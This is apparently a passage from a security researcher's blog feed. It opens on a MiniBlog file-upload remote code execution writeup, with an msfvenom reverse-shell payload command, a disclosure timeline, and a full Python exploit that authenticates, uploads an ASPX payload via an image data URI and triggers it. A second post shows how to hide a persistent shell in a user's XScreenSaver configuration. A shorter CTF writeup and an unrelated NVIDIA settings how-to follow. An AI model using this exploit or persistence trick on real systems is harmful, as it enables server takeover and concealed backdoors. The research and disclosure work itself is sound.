<div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>msfvenom <span class="nt">-p</span> windows/x64/shell_reverse_tcp <span class="nv">EXITFUNC</span><span class="o">=</span>thread <span class="nt">-f</span> aspx <span class="nv">LHOST</span><span class="o">=</span>192.168.194.141 <span class="nv">LPORT</span><span class="o">=</span>4444 <span class="nt">-o</span> shell_no_encoding.aspx <span class="gp">$</span><span class="w"> </span><span class="nb">base64</span> <span class="nt">-w0</span> shell_no_encoding.aspx <span class="o">&gt;</span> shell.aspx </code></pre></div></div> <p>With netcat listening for incoming connections on port 4444, publishing this post will instantly return a shell once the browser redirects to the new post:</p> <p><img src="/assets/images/2019-03-16-miniblog-remote-code-execution/shell.png" alt="" /></p> <p>When examining the post that the browser redirected to after clicking the <code class="language-plaintext highlighter-rouge">Save</code> button, we can see that the path to the ASPX file is disclosed in the <code class="language-plaintext highlighter-rouge">src</code> attribute of the <code class="language-plaintext highlighter-rouge">img</code> element:</p> <p><img src="/assets/images/2019-03-16-miniblog-remote-code-execution/aspx-path.png" alt="" /></p> <p>The same vulnerability was also identified within the Miniblog.Core project with the slight difference that the filename to be used can be specified in the <code class="language-plaintext highlighter-rouge">data-filename</code> attribute of the <code class="language-plaintext highlighter-rouge">img</code> element as opposed to using the MIME type to determine the file extension.</p> <h2 id="disclosure-timeline">Disclosure Timeline</h2> <ul> <li><strong>2019-03-15</strong>: Vulnerability found, patch created and CVEs requested</li> <li><strong>2019-03-15</strong>: Reach out to vendor to begin disclosure</li> <li><strong>2019-03-16</strong>: CVE-2019-9842 and CVE-2019-9845 assigned to the MiniBlog and MiniBlog.Core vulnerabilities respectively</li> <li><strong>2019-03-16</strong>: Discus with vendor and provide patch</li> <li><strong>2019-03-16</strong>: Patch published to GitHub for both projects</li> </ul> <h2 id="cvss-v3-vector">CVSS v3 Vector</h2> <p><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C">AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C</a></p> <h2 id="proof-of-concept-exploit-cve-2019-9842">Proof of Concept Exploit (CVE-2019-9842)</h2> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="nn">re</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">os</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="nn">string</span> <span class="kn">import</span> <span class="nn">random</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Usage: python {file} [base url] [username] [password] [path to payload]'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">file</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">username</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="n">password</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="n">url</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="n">payload_path</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="n">extension</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">payload_path</span><span class="p">)[</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">:]</span> <span class="k">def</span> <span class="nf">random_string</span><span class="p">(</span><span class="n">length</span><span class="p">):</span> <span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">string</span><span class="p">.</span><span class="n">ascii_letters</span><span class="p">)</span> <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="n">length</span><span class="p">))</span> <span class="k">def</span> <span class="nf">request_verification_code</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">cookies</span> <span class="o">=</span> <span class="p">{}):</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">path</span><span class="p">,</span> <span class="n">cookies</span> <span class="o">=</span> <span class="n">cookies</span><span class="p">)</span> <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?'</span><span class="p">,</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> <span class="k">if</span> <span class="n">m</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;31;40m[!]</span><span class="se">\033</span><span class="s">[0m Failed to retrieve verification token'</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">token</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">cookie_token</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'__RequestVerificationToken'</span><span class="p">)</span> <span class="k">return</span> <span class="p">[</span><span class="n">token</span><span class="p">,</span> <span class="n">cookie_token</span><span class="p">]</span> <span class="n">payload</span> <span class="o">=</span> <span class="bp">None</span> <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">payload_path</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">payload_file</span><span class="p">:</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">payload_file</span><span class="p">.</span><span class="n">read</span><span class="p">())</span> <span class="c1"># Note: login_token[1] must be sent with every request as a cookie. </span><span class="n">login_token</span> <span class="o">=</span> <span class="n">request_verification_code</span><span class="p">(</span><span class="s">'/views/login.cshtml?ReturnUrl=/'</span><span class="p">)</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;32;40m[+]</span><span class="se">\033</span><span class="s">[0m Retrieved login token'</span> <span class="n">login_res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">'/views/login.cshtml?ReturnUrl=/'</span><span class="p">,</span> <span class="n">allow_redirects</span> <span class="o">=</span> <span class="bp">False</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> <span class="s">'password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">login_token</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">},</span> <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">login_token</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">})</span> <span class="n">session_cookie</span> <span class="o">=</span> <span class="n">login_res</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'miniblog'</span><span class="p">)</span> <span class="k">if</span> <span class="n">session_cookie</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;31;40m[!]</span><span class="se">\033</span><span class="s">[0m Failed to authenticate'</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;32;40m[+]</span><span class="se">\033</span><span class="s">[0m Authenticated as {user}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">user</span> <span class="o">=</span> <span class="n">username</span><span class="p">)</span> <span class="n">post_token</span> <span class="o">=</span> <span class="n">request_verification_code</span><span class="p">(</span><span class="s">'/post/new'</span><span class="p">,</span> <span class="p">{</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">login_token</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'miniblog'</span><span class="p">:</span> <span class="n">session_cookie</span> <span class="p">})</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;32;40m[+]</span><span class="se">\033</span><span class="s">[0m Retrieved new post token'</span> <span class="n">post_res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">'/post.ashx?mode=save'</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'id'</span><span class="p">:</span> <span class="n">random_string</span><span class="p">(</span><span class="mi">16</span><span class="p">),</span> <span class="s">'isPublished'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span> <span class="s">'title'</span><span class="p">:</span> <span class="n">random_string</span><span class="p">(</span><span class="mi">8</span><span class="p">),</span> <span class="s">'excerpt'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span> <span class="s">'content'</span><span class="p">:</span> <span class="s">'&lt;img src="data:image/{ext};base64,{payload}" /&gt;'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">ext</span> <span class="o">=</span> <span class="n">extension</span><span class="p">,</span> <span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">),</span> <span class="s">'categories'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">post_token</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">},</span> <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">login_token</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'miniblog'</span><span class="p">:</span> <span class="n">session_cookie</span> <span class="p">})</span> <span class="n">post_url</span> <span class="o">=</span> <span class="n">post_res</span><span class="p">.</span><span class="n">text</span> <span class="n">post_res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">post_url</span><span class="p">,</span> <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">login_token</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'miniblog'</span><span class="p">:</span> <span class="n">session_cookie</span> <span class="p">})</span> <span class="n">uploaded</span> <span class="o">=</span> <span class="bp">True</span> <span class="n">payload_url</span> <span class="o">=</span> <span class="bp">None</span> <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'img src="?(\/posts\/files\/(.+?)\.'</span> <span class="o">+</span> <span class="n">extension</span> <span class="o">+</span> <span class="s">')"?'</span><span class="p">,</span> <span class="n">post_res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> <span class="k">if</span> <span class="n">m</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;31;40m[!]</span><span class="se">\033</span><span class="s">[0m Could not find the uploaded payload location'</span> <span class="n">uploaded</span> <span class="o">=</span> <span class="bp">False</span> <span class="k">if</span> <span class="n">uploaded</span><span class="p">:</span> <span class="n">payload_url</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;32;40m[+]</span><span class="se">\033</span><span class="s">[0m Uploaded payload to {url}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span> <span class="o">=</span> <span class="n">payload_url</span><span class="p">)</span> <span class="n">article_id</span> <span class="o">=</span> <span class="bp">None</span> <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'article class="?post"? data\-id="?([a-zA-Z0-9\-]+)"?'</span><span class="p">,</span> <span class="n">post_res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> <span class="k">if</span> <span class="n">m</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;31;40m[!]</span><span class="se">\033</span><span class="s">[0m Could not determine article ID of new post. Automatic clean up is not possible.'</span> <span class="k">else</span><span class="p">:</span> <span class="n">article_id</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="n">article_id</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> <span class="n">m</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?'</span><span class="p">,</span> <span class="n">post_res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> <span class="n">delete_token</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">delete_res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">'/post.ashx?mode=delete'</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'id'</span><span class="p">:</span> <span class="n">article_id</span><span class="p">,</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">delete_token</span> <span class="p">},</span> <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'__RequestVerificationToken'</span><span class="p">:</span> <span class="n">login_token</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">'miniblog'</span><span class="p">:</span> <span class="n">session_cookie</span> <span class="p">})</span> <span class="k">if</span> <span class="n">delete_res</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;32;40m[+]</span><span class="se">\033</span><span class="s">[0m Deleted temporary post'</span> <span class="k">else</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;31;40m[!]</span><span class="se">\033</span><span class="s">[0m Failed to automatically cleanup temporary post'</span> <span class="k">try</span><span class="p">:</span> <span class="k">if</span> <span class="n">uploaded</span><span class="p">:</span> <span class="k">print</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1;32;40m[+]</span><span class="se">\033</span><span class="s">[0m Executing payload...'</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="n">payload_url</span><span class="p">)</span> <span class="k">except</span><span class="p">:</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">()</span> </code></pre></div></div> Sat, 16 Mar 2019 00:00:00 +0000 Persistent Code Execution via XScreenSaver /persistent-code-execution-via-xscreensaver/ /persistent-code-execution-via-xscreensaver/ <p>After successfully gaining remote access to a host, acquiring some form of persistence is usually on the cards in case of network problems, system reboots etc. There are many ways to do this but one way I discovered recently, I thought was quite discreet in comparison to other methods (editing shell rc files, crontabs etc.).</p> <p>The method I came across was to modify the configuration file of XScreenSaver, a very common screensaver package for Linux, to execute a shell. [mis]Using XScreenSaver offers a couple of benefits:</p> <ul> <li>Users will rarely edit this file, meaning there is less chance of the shell being noticed</li> <li>The screen is almost guaranteed to blank on a regular basis, resulting in the shell executing</li> </ul> <p>To demonstrate this, I have setup a Ubuntu 18.10 host running XScreenSaver 5.42 and have a remote shell to it.</p> <h2 id="identifying-xscreensaver-presence--configuration">Identifying XScreenSaver Presence &amp; Configuration</h2> <p>To determine if XScreenSaver is installed, The configuration file for XScreenSaver can be found in a user’s home directory and is named <code class="language-plaintext highlighter-rouge">.xscreensaver</code>:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">meterpreter &gt;</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-S</span> xscreensaver <span class="go">Listing: /home/rastating ======================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100664/rw-rw-r-- 8804 fil 2019-03-07 21:49:13 +0000 .xscreensaver </span></code></pre></div></div> <p>If the configuration file is missing, it does not mean that XScreenSaver is not available, but that the user has not configured their screensaver preferences. In which case, you can create a fresh configuration file and drop it in place.</p> <p>As there are packages readily available to install it, it is possible to use the system’s package manager to verify if it is installed. For example, in Debian / Ubuntu, you can use <code class="language-plaintext highlighter-rouge">dpkg</code> to verify:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>dpkg <span class="nt">-s</span> xscreensaver | <span class="nb">grep</span> <span class="nt">-i</span> status <span class="go">Status: install ok installed </span></code></pre></div></div> <p>If it has been built from source, the presence of the following binaries would also suggest it is installed:</p> <ul> <li>xscreensaver</li> <li>xscreensaver-command</li> <li>xscreensaver-demo</li> <li>xscreensaver-getimage</li> <li>xscreensaver-getimage-file</li> <li>xscreensaver-getimage-video</li> <li>xscreensaver-gl-helper</li> <li>xscreensaver-text</li> </ul> <p>In this case, I had selected a screensaver to use and thus the configuration file existed. Examining the configuration file reveal three key pieces of information:</p> <ul> <li>The <code class="language-plaintext highlighter-rouge">timeout</code> value: how long the session must remain inactive before the screensaver is displayed</li> <li>The <code class="language-plaintext highlighter-rouge">mode</code>: whether or not a single screensaver is used, or whether random screensavers are chosen each time</li> <li>The <code class="language-plaintext highlighter-rouge">selected</code> screensaver</li> </ul> <p>As can be seen in the below snippet of the configuration file, the <code class="language-plaintext highlighter-rouge">timeout</code> value is set to <code class="language-plaintext highlighter-rouge">0:01:00</code>, meaning the screensaver will run after one minute of inactivity:</p> <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># XScreenSaver Preferences File</span> <span class="c1"># Written by xscreensaver-demo 5.42 for rastating on Thu Mar 7 21:49:13 2019.</span> <span class="c1"># https://www.jwz.org/xscreensaver/</span> <span class="na">timeout</span><span class="pi">:</span> <span class="s">0:01:00</span> <span class="na">cycle</span><span class="pi">:</span> <span class="s">0:10:00</span> <span class="na">lock</span><span class="pi">:</span> <span class="s">False</span> <span class="na">lockTimeout</span><span class="pi">:</span> <span class="s">0:00:00</span> <span class="na">passwdTimeout</span><span class="pi">:</span> <span class="s">0:00:30</span> </code></pre></div></div> <p>Moving a bit further down the file, we can see the <code class="language-plaintext highlighter-rouge">mode</code> setting is <code class="language-plaintext highlighter-rouge">one</code> which indicates that a single screensaver has been selected. We can also see the <code class="language-plaintext highlighter-rouge">selected</code> setting, which indicates the selected screensaver is the one found at index position <code class="language-plaintext highlighter-rouge">2</code> of the <code class="language-plaintext highlighter-rouge">programs</code> array. As the array starts at <code class="language-plaintext highlighter-rouge">0</code>, this means that in this instance, the <code class="language-plaintext highlighter-rouge">attraction</code> screensaver has been selected:</p> <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">mode</span><span class="pi">:</span> <span class="s">one</span> <span class="na">selected</span><span class="pi">:</span> <span class="m">2</span> <span class="na">textMode</span><span class="pi">:</span> <span class="s">url</span> <span class="na">textLiteral</span><span class="pi">:</span> <span class="s">XScreenSaver</span> <span class="na">textFile</span><span class="pi">:</span> <span class="na">textProgram</span><span class="pi">:</span> <span class="s">fortune</span> <span class="na">textURL</span><span class="pi">:</span> <span class="s">http://feeds.feedburner.com/ubuntu-news</span> <span class="na">programs</span><span class="pi">:</span> <span class="s">\</span> <span class="s">maze -root \n\</span> <span class="pi">-</span> <span class="na">GL</span><span class="pi">:</span> <span class="s">superquadrics -root \n\</span> <span class="s">attraction -root \n\</span> <span class="s">blitspin -root \n\</span> <span class="s">greynetic -root \n\</span> </code></pre></div></div> <h2 id="adding-a-shell-to-the-configuration-file">Adding a Shell To The Configuration File</h2> <p>Looking at the <code class="language-plaintext highlighter-rouge">programs</code> array of the configuration file, you may have figured out that these strings aren’t just the names of the screensavers that are available, but the base commands that will be executed. In XScreenSaver, each screensaver is a separate binary that when executed will display the fullscreen screensaver.</p> <p>In the configuration previously shown, when the screen blanks, it would shell out the command:</p> <p><code class="language-plaintext highlighter-rouge">/usr/lib/xscreensaver/attraction -root</code></p> <p>With this in mind, we can inject a command at the end of the base command in order to launch our shell alongside the screensaver. As I had a shell located in <code class="language-plaintext highlighter-rouge">/home/rastating/.local/share/shell.elf</code>, I modified the <code class="language-plaintext highlighter-rouge">.xscreensaver</code> to launch this. The previous snippet of the configuration file now looks like this:</p> <div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">mode</span><span class="pi">:</span> <span class="s">one</span> <span class="na">selected</span><span class="pi">:</span> <span class="m">2</span> <span class="na">textMode</span><span class="pi">:</span> <span class="s">url</span> <span class="na">textLiteral</span><span class="pi">:</span> <span class="s">XScreenSaver</span> <span class="na">textFile</span><span class="pi">:</span> <span class="na">textProgram</span><span class="pi">:</span> <span class="s">fortune</span> <span class="na">textURL</span><span class="pi">:</span> <span class="s">http://feeds.feedburner.com/ubuntu-news</span> <span class="na">programs</span><span class="pi">:</span> <span class="s">\</span> <span class="s">maze -root \n\</span> <span class="pi">-</span> <span class="na">GL</span><span class="pi">:</span> <span class="s">superquadrics -root \n\</span> <span class="s">attraction -root | \</span> <span class="s">(/home/rastating/.local/share/shell.elf&amp;) \n\</span> <span class="s">blitspin -root \n\</span> <span class="s">greynetic -root \n\</span> </code></pre></div></div> <p>There are two things to note with this change. The first is that the <code class="language-plaintext highlighter-rouge">\n\</code> that was at the end of the <code class="language-plaintext highlighter-rouge">attraction</code> line has been replaced with a single backslash. This indicates that the string is continuing onto a second line. The <code class="language-plaintext highlighter-rouge">\n</code> is the delimiter, and thus only appears at the end of the full command.</p> <p>The second thing to note is the use of <code class="language-plaintext highlighter-rouge">|</code> and <code class="language-plaintext highlighter-rouge">&amp;</code>, the shell is called in this way to ensure that it is launched alongside the <code class="language-plaintext highlighter-rouge">attraction</code> binary and that it does not halt execution by forking it into the background.</p> <p>Once this change is made, XScreenSaver will automatically pick up the change, as per <a href="https://www.jwz.org/xscreensaver/man1.html">The Manual</a>:</p> <blockquote> <p>If you change a setting in the .xscreensaver file while xscreensaver is already running, it will notice this, and reload the file. (The file will be reloaded the next time the screen saver needs to take some action, such as blanking or unblanking the screen, or picking a new graphics mode.)</p> </blockquote> <p>With this change in place, the shell will now be executed alongside the screensaver binary as can be seen in the video below:</p> <div class="video-container"> <video class="video-js video" controls="" preload="auto" poster="/assets/images/2019-03-03-persistent-code-execution-via-xscreensaver/xscreensaver-shell.jpg" data-setup="{}"> <source src="/assets/videos/xscreensaver-shell.mp4" type="video/mp4" /> <p class="vjs-no-js"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href="https://videojs.com/html5-video-support/">supports HTML5 video</a> </p> </video> </div> Sun, 03 Mar 2019 00:00:00 +0000 MITRE STEM CTF: Nyanyanyan Writeup /mitre-stem-ctf-nyan-writeup/ /mitre-stem-ctf-nyan-writeup/ <p>Upon connecting to the provided server via SSH, a <a href="https://www.youtube.com/watch?v=wZZ7oFKsKzY">Nyan Cat</a> loop is instantly launched. There appears to be no way to escape this.</p> <p>Specifying a command to be executed upon connecting via SSH results in a stream of whitespace being sent vs. the expected output.</p> <p>Upon examining the animation, I was able to see some alphanumeric characters in white against the bright blue background. Within these characters, was the flag.</p> <p>As the characters were too fast to be noted manually, it was necessary to redirect the outpuit of the SSH session to a file (<code class="language-plaintext highlighter-rouge">ssh ctf@ip &gt; nyan.txt</code>). After doing this and inspecting the file, there is a significant amount of junk data. As the flag will only contain alphanumeric and special characters, running the following command will show only the individual characters that were displayed in white, and concatenate them together:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">grep -oP "[a-zA-Z0-9.£$</span>%^&amp;<span class="k">*</span><span class="o">()</span>_<span class="se">\-</span>+<span class="o">=</span><span class="c">#~'@;:?&gt;&lt;,.{}]" nyan.txt | tr '\n' ' '</span> </code></pre></div></div> <p>Upon doing this, it is possible to see the flag within the output:</p> <p><img src="/assets/images/2019-02-23-mitre-stem-ctf-nyan-writeup/screenshot.png" alt="" /></p> Sat, 23 Feb 2019 00:00:00 +0000 How to Permanently Set NVIDIA PowerMizer Settings in Ubuntu /how-to-permanently-set-nvidia-powermizer-settings-in-ubuntu/ /how-to-permanently-set-nvidia-powermizer-settings-in-ubuntu/ <p>When setting the preferred power mode in the PowerMizer settings of the NVIDIA control panel in Ubuntu, the setting is reset after a reboot of the system. As the default setting forces the GPU to use an adaptive power setting, this can result in decreased performance until such time as setting PowerMizer to prefer maximum performance again.</p> <p>Although the NVIDIA control panel provides no means of persisting these settings, there is a CLI utility that can help automate the process. Running the <code class="language-plaintext highlighter-rouge">nvidia-settings</code> binary with the <code class="language-plaintext highlighter-rouge">-q</code> option will output all the current settings. Filtering the output to those related to PowerMizer reveals the <code class="language-plaintext highlighter-rouge">GPUPowerMizerMode</code> setting, which when unaltered is set to <code class="language-plaintext highlighter-rouge">0</code>:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>nvidia-settings <span class="nt">-q</span> all | <span class="nb">grep</span> <span class="nt">-C</span> 10 <span class="nt">-i</span> powermizer <span class="go"> Attribute 'GPUCurrentPerfLevel' (rastating-PC:1[gpu:0]): 3. 'GPUCurrentPerfLevel' is an integer attribute. 'GPUCurrentPerfLevel' is a read-only attribute. 'GPUCurrentPerfLevel' can use the following target types: X Screen, GPU. Attribute 'GPUAdaptiveClockState' (rastating-PC:1[gpu:0]): 1. </span><span class="gp"> 'GPUAdaptiveClockState' is a boolean attribute;</span><span class="w"> </span>valid values are: 1 <span class="o">(</span>on/true<span class="o">)</span> and 0 <span class="o">(</span>off/false<span class="o">)</span><span class="nb">.</span> <span class="go"> 'GPUAdaptiveClockState' is a read-only attribute. 'GPUAdaptiveClockState' can use the following target types: X Screen, GPU. Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 0. Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2. 'GPUPowerMizerMode' can use the following target types: GPU. Attribute 'GPUPowerMizerDefaultMode' (rastating-PC:1[gpu:0]): 0. 'GPUPowerMizerDefaultMode' is an integer attribute. 'GPUPowerMizerDefaultMode' is a read-only attribute. 'GPUPowerMizerDefaultMode' can use the following target types: GPU. Attribute 'ECCSupported' (rastating-PC:1[gpu:0]): 0. </span><span class="gp"> 'ECCSupported' is a boolean attribute;</span><span class="w"> </span>valid values are: 1 <span class="o">(</span>on/true<span class="o">)</span> and 0 <span class="o">(</span>off/false<span class="o">)</span><span class="nb">.</span> <span class="go"> 'ECCSupported' is a read-only attribute. 'ECCSupported' can use the following target types: GPU. Attribute 'GPULogoBrightness' (rastating-PC:1[gpu:0]): 100. The valid values for 'GPULogoBrightness' are in the range 0 - 100 (inclusive). 'GPULogoBrightness' can use the following target types: GPU. </span></code></pre></div></div> <p>After setting the preferred mode to “Prefer Maximum Performance”, the control panel and terminal output now looked as follows:</p> <p><img src="/assets/images/how-to-permanantly-set-nvidia-powermizer-settings-in-ubuntu/control-panel.png" alt="" /></p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>nvidia-settings <span class="nt">-q</span> GpuPowerMizerMode <span class="go"> Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1. Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2. 'GPUPowerMizerMode' can use the following target types: GPU. </span></code></pre></div></div> <p>As can be seen in the above output, the <code class="language-plaintext highlighter-rouge">GPUPowerMizerMode</code> is now set to a value of <code class="language-plaintext highlighter-rouge">1</code>.</p> <p>In addition to reading current values, <code class="language-plaintext highlighter-rouge">nvidia-settings</code> can also be used to alter settings. Before using this, we must take note of the GPU index that needs to be changed. In most instances, this will be <code class="language-plaintext highlighter-rouge">0</code>. The index can be identified by looking at the number following <code class="language-plaintext highlighter-rouge">gpu:</code> in the attribute line of the output.</p> <p>Using this information, we can use the <code class="language-plaintext highlighter-rouge">-a</code> option to set the value of <code class="language-plaintext 